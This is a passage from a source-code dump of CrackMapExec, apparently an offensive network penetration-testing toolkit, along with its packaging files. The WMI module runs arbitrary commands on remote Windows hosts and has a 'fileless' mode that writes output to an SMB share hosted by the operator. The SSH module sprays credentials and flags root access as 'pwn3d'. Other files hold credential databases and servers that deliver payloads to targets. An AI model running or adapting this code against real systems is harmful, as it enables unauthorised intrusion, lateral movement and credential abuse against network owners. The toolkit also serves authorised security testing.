 45 |         self.__win32Process,_ = iWbemServices.GetObject('Win32_Process')
 46 | 
 47 |     def execute(self, command, output=False):
 48 |         self.__retOutput = output
 49 |         if self.__retOutput:
 50 |             self.__smbconnection.setTimeout(100000)
 51 |         if os.path.isfile(command):
 52 |             with open(command) as commands:
 53 |                 for c in commands:
 54 |                     self.execute_handler(c.strip())
 55 |         else:
 56 |             self.execute_handler(command)
 57 |         self.__dcom.disconnect()
 58 |         return self.__outputBuffer
 59 | 
 60 |     def cd(self, s):
 61 |         self.execute_remote('cd ' + s)
 62 |         if len(self.__outputBuffer.strip('\r\n')) > 0:
 63 |             print(self.__outputBuffer)
 64 |             self.__outputBuffer = b''
 65 |         else:
 66 |             self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
 67 |             self.execute_remote('cd ')
 68 |             self.__pwd = self.__outputBuffer.strip('\r\n')
 69 |             self.__outputBuffer = b''
 70 | 
 71 |     def output_callback(self, data):
 72 |         self.__outputBuffer += data
 73 | 
 74 |     def execute_handler(self, data):
 75 |         if self.__retOutput:
 76 |             try:
 77 |                 logging.debug('Executing remote')
 78 |                 self.execute_remote(data)
 79 |             except:
 80 |                 self.cd('\\')
 81 |                 self.execute_remote(data)
 82 |         else:
 83 |             self.execute_remote(data)
 84 | 
 85 |     def execute_remote(self, data):
 86 |         self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
 87 | 
 88 |         command = self.__shell + data
 89 |         if self.__retOutput:
 90 |             command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output  + ' 2>&1'
 91 | 
 92 |         logging.debug('Executing command: ' + command)
 93 |         self.__win32Process.Create(command, self.__pwd, None)
 94 |         self.get_output_remote()
 95 | 
 96 |     def execute_fileless(self, data):
 97 |         self.__output = gen_random_string(6)
 98 |         local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
 99 | 
100 |         command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
101 | 
102 |         logging.debug('Executing command: ' + command)
103 |         self.__win32Process.Create(command, self.__pwd, None)
104 |         self.get_output_fileless()
105 | 
106 |     def get_output_fileless(self):
107 |         while True:
108 |             try:
109 |                 with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
110 |                     self.output_callback(output.read())
111 |                 break
112 |             except IOError:
113 |                 sleep(2)
114 | 
115 |     def get_output_remote(self):
116 |         if self.__retOutput is False:
117 |             self.__outputBuffer = ''
118 |             return
119 | 
120 |         while True:
121 |             try:
122 |                 self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
123 |                 break
124 |             except Exception as e:
125 |                 if str(e).find('STATUS_SHARING_VIOLATION') >=0:
126 |                     # Output not finished, let's wait
127 |                     sleep(2)
128 |                     pass
129 |                 else:
130 |                     #print str(e)
131 |                     pass
132 | 
133 |         self.__smbconnection.deleteFile(self.__share, self.__output)
134 | 
--------------------------------------------------------------------------------
/cme/protocols/ssh.py:
--------------------------------------------------------------------------------
 1 | import paramiko
 2 | import socket
 3 | from cme.connection import *
 4 | from cme.helpers.logger import highlight
 5 | from cme.logger import CMEAdapter
 6 | from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException
 7 | import configparser
 8 | 
 9 | 
10 | class ssh(connection):
11 | 
12 |     @staticmethod
13 |     def proto_args(parser, std_parser, module_parser):
14 |         ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser])
15 |         ssh_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
16 |         ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.")
17 |         ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
18 |         ssh_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
19 | 
20 |         cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
21 |         cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
22 |         cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
23 | 
24 |         return parser
25 | 
26 |     def proto_logger(self):
27 |         self.logger = CMEAdapter(extra={'protocol': 'SSH',
28 |                                         'host': self.host,
29 |                                         'port': self.args.port,
30 |                                         'hostname': self.hostname})
31 | 
32 |     def print_host_info(self):
33 |         self.logger.info(self.remote_version)
34 |         return True
35 | 
36 |     def enum_host_info(self):
37 |         self.remote_version = self.conn._transport.remote_version
38 | 
39 |     def create_conn_obj(self):
40 |         self.conn = paramiko.SSHClient()
41 |         self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
42 | 
43 |         try:
44 |             self.conn.connect(self.host, port=self.args.port)
45 |         except AuthenticationException:
46 |             return True
47 |         except SSHException:
48 |             return True
49 |         except NoValidConnectionsError:
50 |             return False
51 |         except socket.error:
52 |             return False
53 | 
54 |     def client_close(self):
55 |         self.conn.close()
56 | 
57 |     def check_if_admin(self):
58 |         stdin, stdout, stderr = self.conn.exec_command('id')
59 |         if stdout.read().decode('utf-8').find('uid=0(root)') != -1:
60 |             self.admin_privs = True
61 | 
62 |     def plaintext_login(self, username, password):
63 |         try:
64 |             if self.args.key_file:
65 |                 passwd = password
66 |                 password = u'{} (keyfile: {})'.format(passwd, self.args.key_file)
67 |                 self.conn.connect(self.host, port=self.args.port, username=username, passphrase=passwd, key_filename=self.args.key_file, look_for_keys=False, allow_agent=False)
68 |             else:
69 |                 self.conn.connect(self.host, port=self.args.port, username=username, password=password, look_for_keys=False, allow_agent=False)
70 | 
71 |             self.check_if_admin()
72 |             self.logger.success(u'{}:{} {}'.format(username,
73 |                                                    password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
74 |                                                    highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
75 |             if not self.args.continue_on_success:
76 |                 return True
77 |         except Exception as e:
78 |             self.logger.error(u'{}:{} {}'.format(username,
79 |                                                  password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
80 |                                                  e))
81 |             self.client_close()
82 |             return False
83 | 
84 |     def execute(self, payload=None, get_output=False):
85 |         try:
86 |             stdin, stdout, stderr = self.conn.exec_command(self.args.execute)
87 |         except AttributeError:
88 |             return ''
89 |         self.logger.success('Executed command')
90 |         for line in stdout:
91 |             self.logger.highlight(line.strip())
92 | 
93 |         return stdout
94 | 
--------------------------------------------------------------------------------
/cme/protocols/ssh/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/ssh/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/ssh/database.py:
--------------------------------------------------------------------------------
 1 | class database:
 2 | 
 3 |     def __init__(self, conn):
 4 |         self.conn = conn
 5 | 
 6 |     @staticmethod
 7 |     def db_schema(db_conn):
 8 |         db_conn.execute('''CREATE TABLE "credentials" (
 9 |             "id" integer PRIMARY KEY,
10 |             "username" text,
11 |             "password" text,
12 |             "pkey" text
13 |             )''')
14 | 
15 |         db_conn.execute('''CREATE TABLE "hosts" (
16 |             "id" integer PRIMARY KEY,
17 |             "ip" text,
18 |             "hostname" text,
19 |             "port" integer,
20 |             "server_banner" text
21 |             )''')
--------------------------------------------------------------------------------
/cme/protocols/ssh/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 | 
3 | 
4 | class navigator(DatabaseNavigator):
5 |     pass
6 | 
--------------------------------------------------------------------------------
/cme/protocols/winrm/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/protocols/winrm/__init__.py
--------------------------------------------------------------------------------
/cme/protocols/winrm/database.py:
--------------------------------------------------------------------------------
 1 | class database:
 2 | 
 3 |     def __init__(self, conn):
 4 |         self.conn = conn
 5 | 
 6 |     @staticmethod
 7 |     def db_schema(db_conn):
 8 |         db_conn.execute('''CREATE TABLE "credentials" (
 9 |             "id" integer PRIMARY KEY,
10 |             "username" text,
11 |             "password" text
12 |             )''')
13 | 
14 |         db_conn.execute('''CREATE TABLE "hosts" (
15 |             "id" integer PRIMARY KEY,
16 |             "ip" text,
17 |             "hostname" text,
18 |             "port" integer
19 |             )''')
20 | 
--------------------------------------------------------------------------------
/cme/protocols/winrm/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.cmedb import DatabaseNavigator
2 | 
3 | 
4 | class navigator(DatabaseNavigator):
5 |     pass
6 | 
--------------------------------------------------------------------------------
/cme/servers/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/servers/__init__.py
--------------------------------------------------------------------------------
/cme/servers/http.py:
--------------------------------------------------------------------------------
  1 | import http.server
  2 | import threading
  3 | import ssl
  4 | import os
  5 | import sys
  6 | import logging
  7 | from http.server import BaseHTTPRequestHandler
  8 | from time import sleep
  9 | from cme.helpers.logger import highlight
 10 | from cme.logger import CMEAdapter
 11 | 
 12 | class RequestHandler(BaseHTTPRequestHandler):
 13 | 
 14 |     def log_message(self, format, *args):
 15 |         server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
 16 |         server_logger.info("- - %s" % (format%args))
 17 | 
 18 |     def do_GET(self):
 19 |         if hasattr(self.server.module, 'on_request'):
 20 |             server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
 21 |             self.server.context.log = server_logger
 22 |             self.server.module.on_request(self.server.context, self)
 23 | 
 24 |     def do_POST(self):
 25 |         if hasattr(self.server.module, 'on_response'):
 26 |             server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
 27 |             self.server.context.log = server_logger
 28 |             self.server.module.on_response(self.server.context, self)
 29 | 
 30 |     def stop_tracking_host(self):
 31 |         '''
 32 |             This gets called when a module has finshed executing, removes the host from the connection tracker list
 33 |         '''
 34 |         try:
 35 |             self.server.hosts.remove(self.client_address[0])
 36 |             if hasattr(self.server.module, 'on_shutdown'):
 37 |                 self.server.module.on_shutdown(self.server.context, self.server.connection)
 38 |         except ValueError:
 39 |             pass
 40 | 
 41 | class CMEServer(threading.Thread):
 42 | 
 43 |     def __init__(self, module, context, logger, srv_host, port, server_type='https'):
 44 | 
 45 |         try:
 46 |             threading.Thread.__init__(self)
 47 | 
 48 |             self.server = http.server.HTTPServer((srv_host, int(port)), RequestHandler)
 49 |             self.server.hosts   = []
 50 |             self.server.module  = module
 51 |             self.server.context = context
 52 |             self.server.log     = CMEAdapter(extra={'module': self.server.module.name.upper()})
 53 |             self.cert_path      = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
 54 |             self.server.track_host = self.track_host
 55 | 
 56 |             logging.debug('CME server type: ' + server_type)
 57 |             if server_type == 'https':
 58 |                 self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
 59 | 
 60 |         except Exception as e:
 61 |             errno, message = e.args
 62 |             if errno == 98 and message == 'Address already in use':
 63 |                 logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
 64 |             else:
 65 |                 logger.error('Error starting HTTP(S) server: {}'.format(message))
 66 | 
 67 |             sys.exit(1)
 68 | 
 69 |     def base_server(self):
 70 |         return self.server
 71 | 
 72 |     def track_host(self, host_ip):
 73 |         self.server.hosts.append(host_ip)
 74 | 
 75 |     def run(self):
 76 |         try:
 77 |             self.server.serve_forever()
 78 |         except:
 79 |             pass
 80 | 
 81 |     def shutdown(self):
 82 |         try:
 83 |             while len(self.server.hosts) > 0:
 84 |                 self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
 85 |                 sleep(15)
 86 |         except KeyboardInterrupt:
 87 |             pass
 88 | 
 89 |         # shut down the server/socket
 90 |         self.server.shutdown()
 91 |         self.server.socket.close()
 92 |         self.server.server_close()
 93 | 
 94 |         # make sure all the threads are killed
 95 |         for thread in threading.enumerate():
 96 |             if thread.is_alive():
 97 |                 try:
 98 |                     thread._stop()
 99 |                 except:
100 |                     pass
101 | 
--------------------------------------------------------------------------------
/cme/servers/smb.py:
--------------------------------------------------------------------------------
 1 | import threading
 2 | import logging
 3 | from sys import exit
 4 | from impacket import smbserver
 5 | 
 6 | class CMESMBServer(threading.Thread):
 7 | 
 8 |     def __init__(self, logger, share_name, share_path='/tmp/cme_hosted', listen_address='0.0.0.0', listen_port=445, verbose=False):
 9 |         try:
10 |             threading.Thread.__init__(self)
11 |             self.server = smbserver.SimpleSMBServer(listen_address, listen_port)
12 |             self.server.addShare(share_name.upper(), share_path)
13 |             if verbose: self.server.setLogFile('')
14 |             self.server.setSMB2Support(True)
15 |             self.server.setSMBChallenge('')
16 |         except Exception as e:
17 |             errno, message = e.args
18 |             if errno == 98 and message == 'Address already in use':
19 |                 logger.error('Error starting SMB server on port 445: the port is already in use')
20 |             else:
21 |                 logger.error('Error starting SMB server on port 445: {}'.format(message))
22 |                 exit(1)
23 | 
24 |     def addShare(self, share_name, share_path):
25 |         self.server.addShare(share_name, share_path)
26 | 
27 |     def run(self):
28 |         try:
29 |             self.server.start()
30 |         except:
31 |             pass
32 | 
33 |     def shutdown(self):
34 |         # TODO: should fine the proper way 
35 |         # make sure all the threads are killed
36 |         for thread in threading.enumerate():
37 |             if thread.is_alive():
38 |                 try:
39 |                     self._stop()
40 |                 except:
41 |                     pass
42 | 
--------------------------------------------------------------------------------
/crackmapexec.spec:
--------------------------------------------------------------------------------
 1 | # -*- mode: python ; coding: utf-8 -*-
 2 | 
 3 | block_cipher = None
 4 | 
 5 | 
 6 | a = Analysis(['./cme/crackmapexec.py'],
 7 |              pathex=['./cme'],
 8 |              binaries=[],
 9 |              datas=[('./cme/protocols', 'cme/protocols'),('./cme/data', 'cme/data'),('./cme/modules', 'cme/modules')],
10 |              hiddenimports=['cme.protocols.mssql.mssqlexec', 'cme.connection', 'impacket.examples.secretsdump', 'impacket.dcerpc.v5.lsat', 'impacket.dcerpc.v5.transport', 'impacket.dcerpc.v5.lsad', 'cme.servers.smb', 'cme.protocols.smb.wmiexec', 'cme.protocols.smb.atexec', 'cme.protocols.smb.smbexec', 'cme.protocols.smb.mmcexec', 'cme.protocols.smb.smbspider', 'cme.protocols.smb.passpol', 'paramiko', 'pypsrp.client', 'pywerview.cli.helpers', 'impacket.tds', 'impacket.version', 'cme.helpers.bash', 'pylnk3', 'lsassy','win32timezone', 'impacket.tds', 'impacket.ldap.ldap', 'impacket.tds'],
11 |              hookspath=['./cme/.hooks'],
12 |              runtime_hooks=[],
13 |              excludes=[],
14 |              win_no_prefer_redirects=False,
15 |              win_private_assemblies=False,
16 |              cipher=block_cipher,
17 |              noarchive=False)
18 | pyz = PYZ(a.pure, a.zipped_data,
19 |              cipher=block_cipher)
20 | exe = EXE(pyz,
21 |           a.scripts,
22 |           a.binaries,
23 |           a.zipfiles,
24 |           a.datas,
25 |           [],
26 |           name='crackmapexec',
27 |           debug=False,
28 |           bootloader_ignore_signals=False,
29 |           strip=False,
30 |           upx=True,
31 |           upx_exclude=[],
32 |           runtime_tmpdir=None,
33 |           console=True,
34 |           icon='./cme/data/cme.ico' )
35 | 
--------------------------------------------------------------------------------
/flake.lock:
--------------------------------------------------------------------------------
 1 | {
 2 |   "nodes": {
 3 |     "flake-utils": {
 4 |       "locked": {
 5 |         "lastModified": 1649676176,
 6 |         "narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
 7 |         "owner": "numtide",
 8 |         "repo": "flake-utils",
 9 |         "rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
10 |         "type": "github"
11 |       },
12 |       "original": {
13 |         "owner": "numtide",
14 |         "repo": "flake-utils",
15 |         "type": "github"
16 |       }
17 |     },
18 |     "flake-utils_2": {
19 |       "locked": {
20 |         "lastModified": 1649676176,
21 |         "narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
22 |         "owner": "numtide",
23 |         "repo": "flake-utils",
24 |         "rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
25 |         "type": "github"
26 |       },
27 |       "original": {
28 |         "owner": "numtide",
29 |         "repo": "flake-utils",
30 |         "type": "github"
31 |       }
32 |     },
33 |     "nixpkgs": {
34 |       "locked": {
35 |         "lastModified": 1651248272,
36 |         "narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
37 |         "owner": "NixOS",
38 |         "repo": "nixpkgs",
39 |         "rev": "8758d58df0798db2b29484739ca7303220a739d3",
40 |         "type": "github"
41 |       },
42 |       "original": {
43 |         "owner": "NixOS",
44 |         "repo": "nixpkgs",
45 |         "type": "github"
46 |       }
47 |     },
48 |     "nixpkgs_2": {
49 |       "locked": {
50 |         "lastModified": 1651248272,
51 |         "narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
52 |         "owner": "NixOS",
53 |         "repo": "nixpkgs",
54 |         "rev": "8758d58df0798db2b29484739ca7303220a739d3",
55 |         "type": "github"
56 |       },
57 |       "original": {
58 |         "owner": "NixOS",
59 |         "repo": "nixpkgs",
60 |         "type": "github"
61 |       }
62 |     },
63 |     "poetry2nix": {
64 |       "inputs": {
65 |         "flake-utils": "flake-utils_2",
66 |         "nixpkgs": "nixpkgs_2"
67 |       },
68 |       "locked": {
69 |         "lastModified": 1651165059,
70 |         "narHash": "sha256-/psJg8NsEa00bVVsXiRUM8yL/qfu05zPZ+jJzm7hRTo=",
71 |         "owner": "nix-community",
72 |         "repo": "poetry2nix",
73 |         "rev": "ece2a41612347a4fe537d8c0a25fe5d8254835bd",
74 |         "type": "github"
75 |       },
76 |       "original": {
77 |         "owner": "nix-community",
78 |         "repo": "poetry2nix",
79 |         "type": "github"
80 |       }
81 |     },
82 |     "root": {
83 |       "inputs": {
84 |         "flake-utils": "flake-utils",
85 |         "nixpkgs": "nixpkgs",
86 |         "poetry2nix": "poetry2nix"
87 |       }
88 |     }
89 |   },
90 |   "root": "root",
91 |   "version": 7
92 | }
93 | 
--------------------------------------------------------------------------------
/flake.nix:
--------------------------------------------------------------------------------
 1 | {
 2 |   description = "Application packaged using poetry2nix";
 3 | 
 4 |   inputs.flake-utils.url = "github:numtide/flake-utils";
 5 |   inputs.nixpkgs.url = "github:NixOS/nixpkgs";
 6 |   inputs.poetry2nix.url = "github:nix-community/poetry2nix";
 7 | 
 8 |   outputs = { self, nixpkgs, flake-utils, poetry2nix }:
 9 |     {
10 |       # Nixpkgs overlay providing the application
11 |       overlay = nixpkgs.lib.composeManyExtensions [
12 |         poetry2nix.overlay
13 |         (final: prev: {
14 |           # The application
15 |           CrackMapExec = prev.poetry2nix.mkPoetryApplication {
16 |             projectDir = ./.;
17 |           };
18 |         })
19 |       ];
20 |     } // (flake-utils.lib.eachDefaultSystem (system:
21 |       let
22 |         pkgs = import nixpkgs {
23 |           inherit system;
24 |           overlays = [ self.overlay ];
25 |         };
26 |       in
27 |       {
28 |         apps = {
29 |           CrackMapExec = pkgs.CrackMapExec;
30 |         };
31 | 
32 |         defaultApp = pkgs.CrackMapExec;
33 | 
34 |         packages = { CrackMapExec = pkgs.CrackMapExec; };
35 |       }));
36 | }
37 | 
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
 1 | [tool.poetry]
 2 | name = "crackmapexec"
 3 | version = "5.3.0"
 4 | description = "A swiss army knife for pentesting networks"
 5 | authors = ["Marcello Salvati ", "Martial Puygrenier "]
 6 | readme = "README.md"
 7 | homepage = "https://github.com/Porchetta-Industries/CrackMapExec"
 8 | repository = "https://github.com/Porchetta-Industries/CrackMapExec"
 9 | exclude = []
10 | include = ["LICENSE", "cme/data/*", "cme/modules/*"]
11 | license = "BSD-2-Clause"
12 | classifiers = [
13 |     'Environment :: Console',
14 |     'License :: OSI Approved :: BSD License',
15 |     'Programming Language :: Python :: 3',
16 |     'Topic :: Security',
17 | ]
18 | packages = [
19 |     { include = "cme"}
20 | ]
21 | 
22 | [tool.poetry.scripts]
23 | cme = 'cme.crackmapexec:main'
24 | crackmapexec = 'cme.crackmapexec:main'
25 | cmedb = 'cme.cmedb:main'
26 | 
27 | [tool.poetry.dependencies]
28 | python = "^3.7.0"
29 | requests = ">=2.27.1"
30 | beautifulsoup4 = ">=4.11,<5"
31 | lsassy = ">=3.1.3"
32 | termcolor = "^1.1.0"
33 | msgpack = "^1.0.0"
34 | neo4j = "^4.1.1"
35 | pylnk3 = "^0.4.2"
36 | pypsrp = "^0.7.0"
37 | paramiko = "^2.7.2"
38 | impacket =  { git = "https://github.com/mpgn/impacket.git", branch = "master" }
39 | dsinternals = "^1.2.4"
40 | xmltodict = "^0.12.0"
41 | terminaltables = "^3.1.0"
42 | aioconsole = "^0.3.3"
43 | pywerview = "^0.3.3"
44 | aardwolf = "^0.0.8"
45 | 
46 | 
47 | [tool.poetry.dev-dependencies]
48 | flake8 = "*"
49 | pylint = "*"
50 | shiv = "*"
51 | black = "^20.8b1"
52 | 
53 | [build-system]
54 | requires = ["poetry-core>=1.0.0"]
55 | build-backend = "poetry.core.masonry.api"
56 | 
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
 1 | aardwolf==0.0.8; python_version >= "3.7"
 2 | aesedb==0.0.5; python_version >= "3.6"
 3 | aioconsole==0.3.3; python_version >= "3.6"
 4 | aiosmb==0.3.8; python_version >= "3.7"
 5 | aiowinreg==0.0.7; python_version >= "3.6"
 6 | arc4==0.2.0; python_version >= "3.7"
 7 | asn1crypto==1.5.1; python_version >= "3.7"
 8 | asn1tools==0.163.0; python_version >= "3.7"
 9 | asysocks==0.1.7; python_version >= "3.7"
10 | bcrypt==3.2.2; python_version >= "3.6"
11 | beautifulsoup4==4.11.1; python_full_version >= "3.6.0"
12 | bitstruct==8.15.1; python_version >= "3.7"
13 | bs4==0.0.1
14 | certifi==2022.6.15; python_version >= "3.7" and python_version < "4"
15 | cffi==1.15.1; python_version >= "3.6" and python_version < "4.0"
16 | chardet==5.0.0; python_version >= "3.6"
17 | charset-normalizer==2.1.0; python_version >= "3.7" and python_version < "4" and python_full_version >= "3.6.0"
18 | click==8.1.3; python_version >= "3.7"
19 | colorama==0.4.5; python_version >= "3.7" and python_full_version < "3.0.0" and platform_system == "Windows" or python_full_version >= "3.5.0" and python_version >= "3.7" and platform_system == "Windows"
20 | commonmark==0.9.1; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.6"
21 | cryptography==37.0.4; python_version >= "3.6" and python_version < "4.0"
22 | diskcache==5.4.0; python_version >= "3.7"
23 | dnspython==2.2.1; python_version >= "3.6" and python_version < "4.0"
24 | dsinternals==1.2.4; python_version >= "3.4"
25 | flask==2.1.2; python_version >= "3.7"
26 | future==0.18.2; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.3.0" and python_version >= "3.6"
27 | idna==3.3; python_version >= "3.7" and python_version < "4"
28 | impacket @ git+https://github.com/mpgn/impacket.git@master
29 | importlib-metadata==4.2.0; python_version < "3.8" and python_version >= "3.7"
30 | itsdangerous==2.1.2; python_version >= "3.7"
31 | jinja2==3.1.2; python_version >= "3.7"
32 | ldap3==2.9.1; python_version >= "3.6"
33 | ldapdomaindump==0.9.3; python_version >= "3.6"
34 | lsassy==3.1.3; python_version >= "3.6"
35 | lxml==4.9.1; python_version >= "2.7" and python_full_version < "3.0.0" or python_full_version >= "3.5.0"
36 | markupsafe==2.1.1; python_version >= "3.7"
37 | minidump==0.0.21; python_version >= "3.6"
38 | minikerberos==0.2.20; python_version >= "3.7"
39 | msgpack==1.0.4
40 | msldap==0.3.38; python_version >= "3.7"
41 | neo4j==4.4.4; python_version >= "3.6"
42 | netaddr==0.8.0; python_version >= "3.6"
43 | oscrypto==1.3.0; python_version >= "3.7"
44 | paramiko==2.11.0
45 | pillow==9.2.0; python_version >= "3.7"
46 | prompt-toolkit==3.0.30; python_full_version >= "3.6.2" and python_version >= "3.7"
47 | pyasn1==0.4.8; python_version >= "3.6"
48 | pycparser==2.21; python_version >= "3.6" and python_full_version < "3.0.0" and python_version < "4.0" or python_version >= "3.6" and python_version < "4.0" and python_full_version >= "3.4.0"
49 | pycryptodomex==3.15.0; python_version >= "3.7" and python_full_version < "3.0.0" or python_full_version >= "3.5.0" and python_version >= "3.7"
50 | pygments==2.12.0; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.6"
51 | pylnk3==0.4.2; python_version >= "3.6"
52 | pynacl==1.5.0; python_version >= "3.6"
53 | pyopenssl==22.0.0; python_version >= "3.6"
54 | pyparsing==3.0.9; python_full_version >= "3.6.8" and python_version >= "3.7"
55 | pyperclip==1.8.2; python_version >= "3.7"
56 | pypsrp==0.7.0; python_version >= "3.6" and python_version < "4.0"
57 | pypykatz==0.5.7; python_version >= "3.6"
58 | pyspnego==0.5.2; python_version >= "3.6" and python_version < "4.0"
59 | pytz==2022.1; python_version >= "3.6"
60 | pywerview==0.3.3
61 | requests==2.28.1; python_version >= "3.7" and python_version < "4"
62 | rich==12.4.4; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.6"
63 | six==1.16.0; python_version >= "3.7" and python_full_version < "3.0.0" or python_full_version >= "3.3.0" and python_version >= "3.7"
64 | soupsieve==2.3.2.post1; python_version >= "3.6" and python_full_version >= "3.6.0"
65 | termcolor==1.1.0
66 | terminaltables==3.1.10; python_version >= "2.6"
67 | tqdm==4.64.0; python_version >= "3.7" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.7"
68 | typing-extensions==4.3.0; python_full_version >= "3.6.3" and python_full_version < "4.0.0" and python_version >= "3.7" and python_version < "3.8"
69 | unicrypto==0.0.8; python_version >= "3.7"
70 | urllib3==1.26.9; python_version >= "3.7" and python_full_version < "3.0.0" and python_version < "4" or python_full_version >= "3.5.0" and python_version < "4" and python_version >= "3.7"
71 | wcwidth==0.2.5; python_full_version >= "3.6.2" and python_version >= "3.7"
72 | werkzeug==2.1.2; python_version >= "3.7"
73 | winacl==0.1.3; python_version >= "3.7"
74 | winsspi==0.0.10; platform_system == "Windows" and python_version >= "3.7"
75 | xmltodict==0.12.0; (python_version >= "2.7" and python_full_version < "3.0.0") or (python_full_version >= "3.4.0")
76 | zipp==3.8.0; python_version < "3.8" and python_version >= "3.7"
77 | 
--------------------------------------------------------------------------------
/shell.nix:
--------------------------------------------------------------------------------
 1 | { pkgs ? import  {} }:
 2 | let
 3 |   myAppEnv = pkgs.poetry2nix.mkPoetryEnv {
 4 |     projectDir = ./.;
 5 |     editablePackageSources = {
 6 |       my-app = ./src;
 7 |     };
 8 |   };
 9 | in myAppEnv.env
10 | 
--------------------------------------------------------------------------------